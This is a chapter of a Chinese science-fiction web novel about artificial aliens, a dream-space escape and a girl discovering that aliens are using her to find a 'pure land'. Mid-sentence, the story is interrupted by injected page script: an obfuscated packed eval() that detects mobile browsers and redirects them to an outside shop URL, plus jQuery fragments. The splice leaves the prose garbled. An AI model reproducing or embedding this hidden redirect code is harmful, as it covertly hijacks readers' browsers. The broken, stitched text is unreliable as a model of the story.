杀了他,杀了他。
牧元的眼睛死死盯着前方,落在僵站着不动的云勘身上。
他就这么无知无觉地站着,居然丝毫没有察觉到他的靠近。
他能杀死他,三秒?不,一秒就够了。
行走间,牧元的身体逐渐发生了变化,一团淡蓝色的史莱姆颤颤巍巍爬行着,直到来到云勘的面前。
面前的人正手扶着脑袋,面色平静。
好讨厌,为什么他做了那么多坏事,还能用这样平静的神态俯视他人。
史莱姆将半长发男人包裹,不留一丝呼吸的余地,身体被挤压,骨骼发出了阵阵爆裂声。
云勘疑惑地偏了偏头,短暂将部分意识抽回了身体,那一刻,身体还未被完全包裹。
他的手隔着实验服的口袋,按上了口袋里的按键。
如果林析此刻还清醒的话,一眼就能看出来发生了什么。
那是第一研究所用来控制人造异形的装置,与霍利斯一个一个按下的挑衅不同,云勘瞬间便按完了三个按钮。
针对牧元躯体的芯片启动,只差那么半秒就能“完成任务”的人造异形,化作了一汪浅蓝色的水液,从云勘身上滴滴答答落下,几乎将那一片草地变成水洼。
单薄的人皮随着微风吹拂的角度,飘飘荡荡地盖在了草地上。
云勘没有睁眼,继续着方才的工作,自然也没有听到另一个空间惨烈的嘶吼。
“不!”
“不要!!”
小离借着褚列找到的空隙,观察着外面的动向,在看到眼前这一幕时,目眦尽裂。
两人已经尝试了各种暴力破坏的方式,但都没能离开这恶心的下水道,最后还是褚列说:他对这地方总有种莫名其妙的熟悉感,两人这才停下了暴力拆迁的手。
后来通过他的触手一点点探索,他们终于找到了那个连接外界的通道,但是被无形的力量阻隔,两人无论如何也穿不过去,最后只能以触手为媒介,观看外面发生的事情。
刚勉强接收到外界的消息,两人便看到了牧元消失的一幕。
“牧元……牧元……”小离崩溃地抱住头,看到已经震惊到说不出话,茫然地盯着空气的褚列,混乱的大脑出现了一条白线,带着她一步步向前走去,记忆忽然变得清晰,“不,不对……不对。”
不对,还有希望。
“褚列,我们要出去,我们要尽快出去。我想起来了,在这次进入污染区之前,牧元忽然神神叨叨叫住我,然后把他的心脏或者大脑的部分给了我,他只要还有躯体存在就有再生的机会……”
小离着急忙慌地摸了摸口袋,在感受到那只手依旧完好时松了口气,掏出来递到褚列面前。
“但是它现在在外面,现在我手上的是梦境的假象,我要尽快出去,带着它离开!”
“好,我来想办法。”褚列激动地看着小离,握紧了拳头,重重点头。
——
草地上,金光透过斑驳的树影,洒在林析脸上,暴露出她轻颤的眼睫。
视线下移,一抹微笑停在恰到好处的角度。
如此美好的情景,如此美好的经历。
她诞生在星球最大的那个椭圆房子里,从出生起,就有无数人围绕着她。
她聪明、可爱又善良,所有同类都喜欢她。
因为她是自族群诞生数万年以来,唯一一个新生的生命。
听大家说,几十年前,我们的家园爆发了前所未有的危机。
生命体数量庞大到令人惊叹的我们,就这样在两个月的时间内,近乎团灭。
万幸的是,同类们用智慧制造出了一个新的星球,我们依靠它,离开了生存数万年的星系。
这些年来,我们互帮互助,互相陪伴着度过同类死去的悲伤,一起对抗漫长生命的虚无与孤独。
我们,是整个宇宙都为之惊叹的命运共同体。
粉色,是信仰的方向,是家的方向。
林析行走在粉色的土地上,嗅着清新的空气,看着一望无际的平原。
虽然这里很好,可对于它们来说,还是生存了万年的那片星系更令它们心安,所有人做梦都想回到那个曾经的地方,与死去的同伴们生活在一起。
但那里已经被彻底污染,它们回不去了……
只有……只有净土可以帮助它们,只有净土可以实现它们的愿望,它可以净化我们的家园,让我们回到家乡。
找到净土,找到净土,找到净土……
脑海中的画面是如此真实,如此令人动容,最爱的同伴一个个在眼前死去,它们只能怀揣着恨意与愤怒背井离乡……
一滴滴泪水从林析眼眶滚落,顺着紧闭的双眼,沿着脸颊滑落,没入鬓角,染湿土地。
她都想起来了。
林析睁开了眼睛,撑着草地,茫然地坐了起来。
泪依旧不受控制地涌出,模糊了视线。
悲伤的情绪久久不能消散,直到她看到走到面前的云勘,情绪才平静了下来。
“我感知到净土了,它真的出现了。一片很多植物的地方,周围有很多强大的异形……是,是第七区。但它还在生长,预计……预计等待两三个月就能发育成熟。”
林析的瞳孔变成了鲜明的暗红色,她看着靠近她的云勘,语气怎么也按捺不住兴奋。
“辛苦了。”云勘抓住了林析探过来的手,将她拉了起来,重重地环抱住了她,语气万分感慨,“辛苦你了,我的孩子。”
拥抱的死角,林析看着云勘身上黏黏糊糊不知道什么东西的液体,嫌弃地撇了撇嘴。
但很快,嘴角又恢复了平直状态。
之前每个5倍数的生日,她都是处在这样的状态之下吗?
那些时候,她为什么会相信这种东西?居然还和这些傻叉外星人热情聊天?
因为之前都没开智?还是说之前她其实也意识到了,在与他们虚与委蛇?
林析更愿意接受第二个想法。
林雁山是人类,而她是妈妈的女儿,所以她一定也是人类,没有任何其他的可能。
净土?都是她瞎编的,她哪知道这鬼东西在哪?
按照目前已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047341|185902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知的信息,要么她爹是个外星人,但要考虑生殖隔离的存在;要么在她出生后,有外星人抢占了她的身体与她融合了,类似于玛利亚的状态,但不完全一致。
而净土只有本星球的人能找到?
第九研究所所在的地方,在污染爆发前,曾是研究陨石的一个大所,她母亲曾在那里工作,机缘巧合之下,外星人选择了她作为实验品……
这些外星人在污染出现短短20年便被击溃,开着星球狼狈逃跑,推导出只有净土能净化被污染的世界,漂泊宇宙找到了地球这个同样被污染的地方,开始观察并入侵人类社会,寻找净土并打算据为己有。
不,有可能地球的污染便因他们而起。
地球灾变距今40年整,与林析方才看到的时间点对得上。
真可笑,它们从未确认过自己的星球是否存在净土,却在毫不犹豫地抛弃了它之后,惦记上了另一个生命体的“净土”,制造了灾难,并决定开启了掠夺计划。
不止如此,如果再结合眼睛的话……
每一个人类的存在本身,或许就是供给外星人观赏的一部分。
它们现在在做什么?在那颗遥远的粉色星球上,观看人类挣扎生存的现场直播吗?
……
“你放心,等我确定了具体位置之后,告诉……”
林析后撤一步,视线从桃林扫过,抹了把脸上的泪水,真诚地看着云勘,开口道。
可话才说到一半,就卡了壳。
等等,牧元呢?
——
很熟悉。
褚列心想。
这个地方太熟悉了,这个努力逃离的感觉也太熟悉了。
熟悉到,在寻找办法的时候,他脑子里想的人都一模一样。
他绝对没有来过这,来过这儿的是……
褚列暗骂了一声。
梦境就是这样,只要找到了一点错漏,剩下的错处便如洪水般喷涌而来。
“小离,注意力!想象你在基地训练,周围的所有东西都是假的。”褚列看了眼眼神又开始飘忽的小离,大声道。
“知!道!!了!!”小离大吼回应,“天杀的褚列,等我回基地一定要狠狠削你啊啊啊啊!!你这什么破方法!!!啊啊啊啊好痛啊啊啊!!!!”
几分钟前,两人借着褚列撬开的和外界连接的通道,开始在回响制造的梦境中穿梭,无数噩梦般的场景撕扯着他们的精神,穿越梦境的空间撕扯着两人的□□,小离低头看着自己被撕扯到几乎露出肌肉组织的手臂,再次以非常难听的且未成年人说不出口的脏话辱骂了一番褚列。
她就不应该跟着他们俩过来,如果直接醒过来的话,现在就能保护牧元了,就能带着牧元和玛利亚逃跑了。
可恶!可恶!!
那个恶心的研究员对玛利亚做了什么,她为什么会那么痛苦地坐在地上……还有牧元……
不行,她一定要出去!!!
褚列面不改色地收回被绞断的触手,重新探出一条触手查探方位,随后指了指右前方的位置,“这边!”